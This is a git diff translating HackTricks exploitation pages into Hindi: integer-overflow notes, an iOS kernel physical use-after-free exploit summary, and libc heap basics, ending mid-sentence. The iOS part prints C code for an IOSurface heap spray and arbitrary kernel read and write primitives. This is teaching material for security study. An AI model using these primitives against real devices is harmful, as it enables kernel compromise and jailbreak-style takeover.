Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection +- केवल 1B का उपयोग पासवर्ड के आकार को स्टोर करने के लिए किया जाता है, इसलिए इसे ओवरफ्लो करना संभव है और इसे 4 की लंबाई के रूप में सोचने के लिए मजबूर करना जबकि यह वास्तव में 260 है, लंबाई जांच सुरक्षा को बायपास करने के लिए - [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one: +- कुछ संख्याओं को दिए जाने पर z3 का उपयोग करके एक नई संख्या खोजें जो पहले वाले से गुणा करने पर दूसरे को देगी: - ``` - (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) - ``` +``` +(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) +``` - [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections +- केवल 1B का उपयोग पासवर्ड के आकार को स्टोर करने के लिए किया जाता है, इसलिए इसे ओवरफ्लो करना संभव है और इसे 4 की लंबाई के रूप में सोचने के लिए मजबूर करना जबकि यह वास्तव में 260 है, लंबाई जांच सुरक्षा को बायपास करने और स्टैक में अगले स्थानीय चर को ओवरराइट करने के लिए और दोनों सुरक्षा को बायपास करने के लिए ## ARM64 -This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). +यह **ARM64 में नहीं बदलता** जैसा कि आप [**इस ब्लॉग पोस्ट**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) में देख सकते हैं। {{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index dbf5dc009..2601a91ad 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -2,211 +2,202 @@ ## Physical use-after-free -This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) +यह [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) से पोस्ट का सारांश है, इसके अलावा इस तकनीक का उपयोग करके एक्सप्लॉइट के बारे में अधिक जानकारी [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) में मिल सकती है। ### Memory management in XNU -The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**. +iOS पर उपयोगकर्ता प्रक्रियाओं के लिए **वर्चुअल मेमोरी एड्रेस स्पेस** **0x0 से 0x8000000000** तक फैला हुआ है। हालाँकि, ये पते सीधे भौतिक मेमोरी से नहीं जुड़े होते। इसके बजाय, **कर्नेल** **पृष्ठ तालिकाओं** का उपयोग करके वर्चुअल पते को वास्तविक **भौतिक पते** में अनुवाद करता है। #### Levels of Page Tables in iOS -Page tables are organized hierarchically in three levels: +पृष्ठ तालिकाएँ तीन स्तरों में पदानुक्रमित होती हैं: 1. **L1 Page Table (Level 1)**: - * Each entry here represents a large range of virtual memory. - * It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory. +* यहाँ प्रत्येक प्रविष्टि वर्चुअल मेमोरी की एक बड़ी श्रृंखला का प्रतिनिधित्व करती है। +* यह **0x1000000000 बाइट्स** (या **256 जीबी**) की वर्चुअल मेमोरी को कवर करती है। 2. **L2 Page Table (Level 2)**: - * An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB). - * An L1 entry may point to an L2 table if it can't map the entire region itself. +* यहाँ एक प्रविष्टि वर्चुअल मेमोरी के एक छोटे क्षेत्र का प्रतिनिधित्व करती है, विशेष रूप से **0x2000000 बाइट्स** (32 एमबी)। +* यदि L1 प्रविष्टि पूरे क्षेत्र को स्वयं मानचित्रित नहीं कर सकती है, तो यह L2 तालिका की ओर इशारा कर सकती है। 3. **L3 Page Table (Level 3)**: - * This is the finest level, where each entry maps a single **4 KB** memory page. - * An L2 entry may point to an L3 table if more granular control is needed. +* यह सबसे बारीक स्तर है, जहाँ प्रत्येक प्रविष्टि एकल **4 केबी** मेमोरी पृष्ठ को मानचित्रित करती है। +* यदि अधिक बारीक नियंत्रण की आवश्यकता है, तो L2 प्रविष्टि L3 तालिका की ओर इशारा कर सकती है। #### Mapping Virtual to Physical Memory * **Direct Mapping (Block Mapping)**: - * Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut). +* पृष्ठ तालिका में कुछ प्रविष्टियाँ सीधे **वर्चुअल पतों की एक श्रृंखला** को भौतिक पतों की एक निरंतर श्रृंखला से **मानचित्रित** करती हैं (जैसे एक शॉर्टकट)। * **Pointer to Child Page Table**: - * If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2). +* यदि अधिक बारीक नियंत्रण की आवश्यकता है, तो एक स्तर (जैसे, L1) में एक प्रविष्टि अगले स्तर (जैसे, L2) में एक **बाल पृष्ठ तालिका** की ओर इशारा कर सकती है। #### Example: Mapping a Virtual Address -Let’s say you try to access the virtual address **0x1000000000**: +मान लीजिए कि आप वर्चुअल पता **0x1000000000** तक पहुँचने की कोशिश करते हैं: 1. **L1 Table**: - * The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table. +* कर्नेल इस वर्चुअल पते के लिए L1 पृष्ठ तालिका प्रविष्टि की जाँच करता है। यदि इसमें **L2 पृष्ठ तालिका की ओर इशारा करने वाला एक पॉइंटर** है, तो यह उस L2 तालिका पर जाता है। 2. **L2 Table**: - * The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there. +* कर्नेल अधिक विस्तृत मानचित्रण के लिए L2 पृष्ठ तालिका की जाँच करता है। यदि यह प्रविष्टि एक **L3 पृष्ठ तालिका** की ओर इशारा करती है, तो यह वहाँ आगे बढ़ता है। 3. **L3 Table**: - * The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page. +* कर्नेल अंतिम L3 प्रविष्टि को देखता है, जो वास्तविक मेमोरी पृष्ठ के **भौतिक पते** की ओर इशारा करती है। #### Example of Address Mapping -If you write the physical address **0x800004000** into the first index of the L2 table, then: +यदि आप भौतिक पता **0x800004000** को L2 तालिका के पहले अनुक्रमांक में लिखते हैं, तो: -* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**. -* This is a **block mapping** at the L2 level. +* वर्चुअल पतों से **0x1000000000** से **0x1002000000** भौतिक पतों से **0x800004000** से **0x802004000** तक मानचित्रित होते हैं। +* यह L2 स्तर पर एक **ब्लॉक मानचित्रण** है। -Alternatively, if the L2 entry points to an L3 table: +वैकल्पिक रूप से, यदि L2 प्रविष्टि L3 तालिका की ओर इशारा करती है: -* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table. +* वर्चुअल पता श्रृंखला **0x1000000000 -> 0x1002000000** में प्रत्येक 4 केबी पृष्ठ L3 तालिका में व्यक्तिगत प्रविष्टियों द्वारा मानचित्रित किया जाएगा। ### Physical use-after-free -A **physical use-after-free** (UAF) occurs when: +एक **भौतिक उपयोग-के-बाद-मुक्ति** (UAF) तब होती है जब: -1. A process **allocates** some memory as **readable and writable**. -2. The **page tables** are updated to map this memory to a specific physical address that the process can access. -3. The process **deallocates** (frees) the memory. -4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free. -5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**. -6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory. +1. एक प्रक्रिया **कुछ मेमोरी आवंटित** करती है जो **पढ़ने योग्य और लिखने योग्य** होती है। +2. **पृष्ठ तालिकाएँ** इस मेमोरी को एक विशिष्ट भौतिक पते से मानचित्रित करने के लिए अपडेट की जाती हैं जिसे प्रक्रिया एक्सेस कर सकती है। +3. प्रक्रिया **मेमोरी को मुक्त** (फ्री) करती है। +4. हालाँकि, एक **बग** के कारण, कर्नेल **पृष्ठ तालिकाओं से मानचित्रण को हटाना भूल जाता है**, हालाँकि यह संबंधित भौतिक मेमोरी को मुक्त के रूप में चिह्नित करता है। +5. कर्नेल तब इस "मुक्त" भौतिक मेमोरी को अन्य उद्देश्यों के लिए **फिर से आवंटित** कर सकता है, जैसे **कर्नेल डेटा**। +6. चूंकि मानचित्रण को हटाया नहीं गया, प्रक्रिया अभी भी इस भौतिक मेमोरी को **पढ़ने और लिखने** में सक्षम है। -This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**. +इसका मतलब है कि प्रक्रिया **कर्नेल मेमोरी के पृष्ठों** तक पहुँच सकती है, जिसमें संवेदनशील डेटा या संरचनाएँ हो सकती हैं, जिससे एक हमलावर को **कर्नेल मेमोरी में हेरफेर** करने की अनुमति मिलती है। ### Exploitation Strategy: Heap Spray -Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**: +चूंकि हमलावर यह नियंत्रित नहीं कर सकता कि कौन से विशेष कर्नेल पृष्ठ मुक्त मेमोरी में आवंटित किए जाएंगे, वे एक तकनीक का उपयोग करते हैं जिसे **हीप स्प्रे** कहा जाता है: -1. The attacker **creates a large number of IOSurface objects** in kernel memory. -2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify. -3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page. -4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**. +1. हमलावर **कर्नेल मेमोरी में कई IOSurface ऑब्जेक्ट्स** बनाता है। +2. प्रत्येक IOSurface ऑब्जेक्ट में इसके एक क्षेत्र में एक **जादुई मान** होता है, जिससे इसे पहचानना आसान होता है। +3. वे **मुक्त पृष्ठों को स्कैन** करते हैं यह देखने के लिए कि क्या इनमें से कोई IOSurface ऑब्जेक्ट मुक्त पृष्ठ पर उतरा है। +4. जब वे एक मुक्त पृष्ठ पर IOSurface ऑब्जेक्ट पाते हैं, तो वे इसका उपयोग **कर्नेल मेमोरी को पढ़ने और लिखने** के लिए कर सकते हैं। -More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) +इस बारे में अधिक जानकारी [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) में है। ### Step-by-Step Heap Spray Process -1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value"). -2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page. -3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them: - * Use one field to **read any 32-bit value** in kernel memory. - * Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**. - -Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: +1. **Spray IOSurface Objects**: हमलावर एक विशेष पहचानकर्ता ("जादुई मान") के साथ कई IOSurface ऑब्जेक्ट्स बनाता है। +2. **Scan Freed Pages**: वे जांचते हैं कि क्या इनमें से कोई ऑब्जेक्ट मुक्त पृष्ठ पर आवंटित किया गया है। +3. **Read/Write Kernel Memory**: IOSurface ऑब्जेक्ट में क्षेत्रों में हेरफेर करके, वे कर्नेल मेमोरी में **मनमाने पढ़ने और लिखने** की क्षमता प्राप्त करते हैं। इससे उन्हें: +* एक क्षेत्र का उपयोग करके **कर्नेल मेमोरी में कोई भी 32-बिट मान पढ़ने** की अनुमति मिलती है। +* दूसरे क्षेत्र का उपयोग करके **64-बिट मान लिखने**, एक स्थिर **कर्नेल पढ़ने/लिखने की प्राइमिटिव** प्राप्त करते हैं। +IOSURFACE_MAGIC जादुई मान के साथ IOSurface ऑब्जेक्ट्स उत्पन्न करें ताकि बाद में खोजा जा सके: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { - if (*nClients >= 0x4000) return; - for (int i = 0; i < nSurfaces; i++) { - fast_create_args_t args; - lock_result_t result; - - size_t size = IOSurfaceLockResultSize; - args.address = 0; - args.alloc_size = *nClients + 1; - args.pixel_format = IOSURFACE_MAGIC; - - IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); - io_connect_t id = result.surface_id; - - (*clients)[*nClients] = id; - *nClients = (*nClients) += 1; - } +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} } ``` - -Search for **`IOSurface`** objects in one freed physical page: - +**`IOSurface`** ऑब्जेक्ट्स को एक मुक्त भौतिक पृष्ठ में खोजें: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { - io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); - int nSurfaceIDs = 0; - - for (int i = 0; i < 0x400; i++) { - spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); - - for (int j = 0; j < nPages; j++) { - uint64_t start = puafPages[j]; - uint64_t stop = start + (pages(1) / 16); - - for (uint64_t k = start; k < stop; k += 8) { - if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { - info.object = k; - info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; - if (self_task) *self_task = iosurface_get_receiver(k); - goto sprayDone; - } - } - } - } - +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + sprayDone: - for (int i = 0; i < nSurfaceIDs; i++) { - if (surfaceIDs[i] == info.surface) continue; - iosurface_release(client, surfaceIDs[i]); - } - free(surfaceIDs); - - return 0; +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; } ``` +### Kernel Read/Write को IOSurface के साथ प्राप्त करना -### Achieving Kernel Read/Write with IOSurface +एक IOSurface ऑब्जेक्ट पर नियंत्रण प्राप्त करने के बाद जो कर्नेल मेमोरी में है (जो एक मुक्त भौतिक पृष्ठ के लिए मैप किया गया है जो उपयोगकर्ता स्थान से सुलभ है), हम इसका उपयोग **मनमाने कर्नेल पढ़ने और लिखने के संचालन** के लिए कर सकते हैं। -After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**. +**IOSurface में प्रमुख फ़ील्ड्स** -**Key Fields in IOSurface** +IOSurface ऑब्जेक्ट में दो महत्वपूर्ण फ़ील्ड्स हैं: -The IOSurface object has two crucial fields: +1. **उपयोग गणना पॉइंटर**: एक **32-बिट पढ़ने** की अनुमति देता है। +2. **सूचीकृत टाइमस्टैम्प पॉइंटर**: एक **64-बिट लिखने** की अनुमति देता है। -1. **Use Count Pointer**: Allows a **32-bit read**. -2. **Indexed Timestamp Pointer**: Allows a **64-bit write**. +इन पॉइंटर्स को ओवरराइट करके, हम उन्हें कर्नेल मेमोरी में मनमाने पते पर पुनर्निर्देशित करते हैं, जिससे पढ़ने/लिखने की क्षमताएँ सक्षम होती हैं। -By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities. +#### 32-बिट कर्नेल पढ़ना -#### 32-Bit Kernel Read - -To perform a read: - -1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset. -2. Use the `get_use_count` method to read the value at that address. +पढ़ने के लिए: +1. **उपयोग गणना पॉइंटर** को लक्ष्य पते की ओर पुनर्निर्देशित करें जिसमें 0x14-बाइट ऑफसेट घटाया गया हो। +2. उस पते पर मान पढ़ने के लिए `get_use_count` विधि का उपयोग करें। ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { - uint64_t args[1] = {surfaceID}; - uint32_t size = 1; - uint64_t out = 0; - IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); - return (uint32_t)out; +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; } uint32_t iosurface_kread32(uint64_t addr) { - uint64_t orig = iosurface_get_use_count_pointer(info.object); - iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 - uint32_t value = get_use_count(info.client, info.surface); - iosurface_set_use_count_pointer(info.object, orig); - return value; +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; } ``` +#### 64-बिट कर्नेल लिखें -#### 64-Bit Kernel Write - -To perform a write: - -1. Overwrite the **indexed timestamp pointer** to the target address. -2. Use the `set_indexed_timestamp` method to write a 64-bit value. +लिखने के लिए: +1. लक्षित पते पर **सूचीबद्ध टाइमस्टैम्प पॉइंटर** को ओवरराइट करें। +2. 64-बिट मान लिखने के लिए `set_indexed_timestamp` विधि का उपयोग करें। ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { - uint64_t args[3] = {surfaceID, 0, value}; - IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); } void iosurface_kwrite64(uint64_t addr, uint64_t value) { - uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); - iosurface_set_indexed_timestamp_pointer(info.object, addr); - set_indexed_timestamp(info.client, info.surface, value); - iosurface_set_indexed_timestamp_pointer(info.object, orig); +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` +#### एक्सप्लॉइट फ्लो पुनरावलोकन -#### Exploit Flow Recap - -1. **Trigger Physical Use-After-Free**: Free pages are available for reuse. -2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory. -3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control. -4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods. - -With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices). +1. **भौतिक उपयोग-के-बाद-मुक्ति को ट्रिगर करें**: मुक्त पृष्ठ पुन: उपयोग के लिए उपलब्ध हैं। +2. **IOSurface ऑब्जेक्ट्स को स्प्रे करें**: कर्नेल मेमोरी में एक अद्वितीय "जादुई मान" के साथ कई IOSurface ऑब्जेक्ट्स आवंटित करें। +3. **सुलभ IOSurface की पहचान करें**: एक मुक्त पृष्ठ पर एक IOSurface का पता लगाएं जिसे आप नियंत्रित करते हैं। +4. **उपयोग-के-बाद-मुक्ति का दुरुपयोग करें**: IOSurface ऑब्जेक्ट में पॉइंटर्स को संशोधित करें ताकि IOSurface विधियों के माध्यम से मनमाने **कर्नेल पढ़ने/लिखने** को सक्षम किया जा सके। +इन प्राइमिटिव के साथ, एक्सप्लॉइट नियंत्रित **32-बिट पढ़ने** और **64-बिट लिखने** को कर्नेल मेमोरी में प्रदान करता है। आगे के जेलब्रेक चरणों में अधिक स्थिर पढ़ने/लिखने के प्राइमिटिव शामिल हो सकते हैं, जिन्हें अतिरिक्त सुरक्षा (जैसे, नए arm64e उपकरणों पर PPL) को बायपास करने की आवश्यकता हो सकती है। diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index 319126fe0..4f7634b69 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -2,196 +2,189 @@ ## Heap Basics -The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**. +हीप मूल रूप से वह स्थान है जहाँ एक प्रोग्राम डेटा को स्टोर कर सकेगा जब यह डेटा को **`malloc`**, `calloc`... जैसी फ़ंक्शंस को कॉल करके अनुरोध करता है। इसके अलावा, जब इस मेमोरी की अब आवश्यकता नहीं होती है, तो इसे **`free`** फ़ंक्शन को कॉल करके उपलब्ध कराया जाता है। -As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section): +जैसा कि दिखाया गया है, यह मेमोरी में बाइनरी लोड होने के ठीक बाद है (चेक करें `[heap]` सेक्शन):
### Basic Chunk Allocation -When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is. +जब कुछ डेटा को हीप में स्टोर करने के लिए अनुरोध किया जाता है, तो इसके लिए हीप का कुछ स्थान आवंटित किया जाता है। यह स्थान एक बिन का होगा और केवल अनुरोधित डेटा + बिन हेडर का स्थान + न्यूनतम बिन आकार ऑफसेट के लिए चंक आरक्षित किया जाएगा। लक्ष्य यह है कि जितनी संभव हो उतनी न्यूनतम मेमोरी आरक्षित की जाए बिना यह जटिल बनाए कि प्रत्येक चंक कहाँ है। इसके लिए, मेटाडेटा चंक जानकारी का उपयोग किया जाता है यह जानने के लिए कि प्रत्येक उपयोग किए गए/फ्री चंक कहाँ है। -There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following: +स्थान आरक्षित करने के विभिन्न तरीके हैं, मुख्य रूप से उपयोग किए गए बिन पर निर्भर करते हैं, लेकिन एक सामान्य कार्यप्रणाली निम्नलिखित है: -- The program starts by requesting certain amount of memory. -- If in the list of chunks there someone available big enough to fulfil the request, it'll be used - - This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list -- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk -- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk -- If everything fails, `malloc` returns null. +- प्रोग्राम एक निश्चित मात्रा में मेमोरी का अनुरोध करके शुरू होता है। +- यदि चंक्स की सूची में कोई उपलब्ध बड़ा चंक है जो अनुरोध को पूरा कर सकता है, तो इसका उपयोग किया जाएगा। +- इसका मतलब यह भी हो सकता है कि उपलब्ध चंक का एक भाग इस अनुरोध के लिए उपयोग किया जाएगा और बाकी चंक्स की सूची में जोड़ा जाएगा। +- यदि सूची में कोई उपलब्ध चंक नहीं है लेकिन आवंटित हीप मेमोरी में अभी भी स्थान है, तो हीप प्रबंधक एक नया चंक बनाता है। +- यदि नए चंक को आवंटित करने के लिए पर्याप्त हीप स्थान नहीं है, तो हीप प्रबंधक कर्नेल से हीप के लिए आवंटित मेमोरी को बढ़ाने के लिए कहता है और फिर इस मेमोरी का उपयोग नए चंक को उत्पन्न करने के लिए करता है। +- यदि सब कुछ विफल हो जाता है, तो `malloc` शून्य लौटाता है। -Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory. +ध्यान दें कि यदि अनुरोधित **मेमोरी एक थ्रेशोल्ड को पार करती है**, तो **`mmap`** का उपयोग अनुरोधित मेमोरी को मैप करने के लिए किया जाएगा। ## Arenas -In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck. +**मल्टीथ्रेडेड** अनुप्रयोगों में, हीप प्रबंधक को **रेस कंडीशंस** को रोकना चाहिए जो क्रैश का कारण बन सकते हैं। प्रारंभ में, यह सुनिश्चित करने के लिए एक **वैश्विक म्यूटेक्स** का उपयोग करके किया गया था कि केवल एक थ्रेड एक समय में हीप तक पहुँच सकता है, लेकिन इससे म्यूटेक्स-प्रेरित बोतलने की समस्या के कारण **प्रदर्शन मुद्दे** उत्पन्न हुए। -To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas. +इसका समाधान करने के लिए, ptmalloc2 हीप आवंटक ने "एरेनास" पेश किए, जहाँ **प्रत्येक एरेना** एक **अलग हीप** के रूप में कार्य करता है जिसमें इसके **अपने** डेटा **संरचनाएँ** और **म्यूटेक्स** होते हैं, जिससे कई थ्रेड बिना एक-दूसरे में हस्तक्षेप किए हीप ऑपरेशंस कर सकते हैं, जब तक कि वे अलग-अलग एरेनास का उपयोग करते हैं। -The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention. +डिफ़ॉल्ट "मुख्य" एरेना एकल-थ्रेडेड अनुप्रयोगों के लिए हीप ऑपरेशंस को संभालता है। जब **नए थ्रेड** जोड़े जाते हैं, तो हीप प्रबंधक उन्हें **माध्यमिक एरेनास** सौंपता है ताकि प्रतिस्पर्धा को कम किया जा सके। यह पहले प्रत्येक नए थ्रेड को एक अप्रयुक्त एरेना से जोड़ने का प्रयास करता है, यदि आवश्यक हो तो नए बनाता है, 32-बिट सिस्टम के लिए CPU कोर की संख्या के 2 गुना और 64-बिट सिस्टम के लिए 8 गुना तक। एक बार सीमा पहुँच जाने पर, **थ्रेड्स को एरेनास साझा करना होगा**, जिससे संभावित प्रतिस्पर्धा हो सकती है। -Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations. +मुख्य एरेना के विपरीत, जो `brk` सिस्टम कॉल का उपयोग करके विस्तारित होता है, माध्यमिक एरेनास "सबहीप्स" बनाते हैं जो `mmap` और `mprotect` का उपयोग करके हीप व्यवहार का अनुकरण करते हैं, जिससे मल्टीथ्रेडेड ऑपरेशंस के लिए मेमोरी प्रबंधन में लचीलापन मिलता है। ### Subheaps -Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate: +सबहीप्स मल्टीथ्रेडेड अनुप्रयोगों में माध्यमिक एरेनास के लिए मेमोरी रिजर्व के रूप में कार्य करते हैं, जिससे उन्हें बढ़ने और अपने हीप क्षेत्रों का प्रबंधन मुख्य हीप से अलग करने की अनुमति मिलती है। यहाँ बताया गया है कि सबहीप्स प्रारंभिक हीप से कैसे भिन्न होते हैं और वे कैसे कार्य करते हैं: -1. **Initial Heap vs. Subheaps**: - - The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call. - - Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region. -2. **Memory Reservation with `mmap`**: - - When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use. - - By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes. -3. **Gradual Expansion with `mprotect`**: - - The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet. - - To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed. - - Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation. +1. **प्रारंभिक हीप बनाम सबहीप्स**: +- प्रारंभिक हीप प्रोग्राम के बाइनरी के ठीक बाद मेमोरी में स्थित होती है, और यह `sbrk` सिस्टम कॉल का उपयोग करके विस्तारित होती है। +- सबहीप्स, जो माध्यमिक एरेनास द्वारा उपयोग किए जाते हैं, `mmap` के माध्यम से बनाए जाते हैं, जो एक निर्दिष्ट मेमोरी क्षेत्र को मैप करने वाला सिस्टम कॉल है। +2. **`mmap` के साथ मेमोरी आरक्षण**: +- जब हीप प्रबंधक एक सबहीप बनाता है, तो यह `mmap` के माध्यम से मेमोरी का एक बड़ा ब्लॉक आरक्षित करता है। यह आरक्षण तुरंत 